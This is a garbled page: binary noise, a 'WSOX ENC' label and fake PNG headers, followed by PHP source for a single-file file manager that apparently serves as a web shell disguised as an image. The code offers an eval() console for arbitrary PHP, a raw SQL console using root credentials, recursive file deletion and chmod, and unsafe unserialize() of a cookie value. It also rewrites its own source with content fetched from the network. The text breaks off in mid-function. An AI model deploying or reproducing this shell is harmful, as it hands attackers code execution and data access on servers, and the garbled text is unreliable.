�]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*! true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '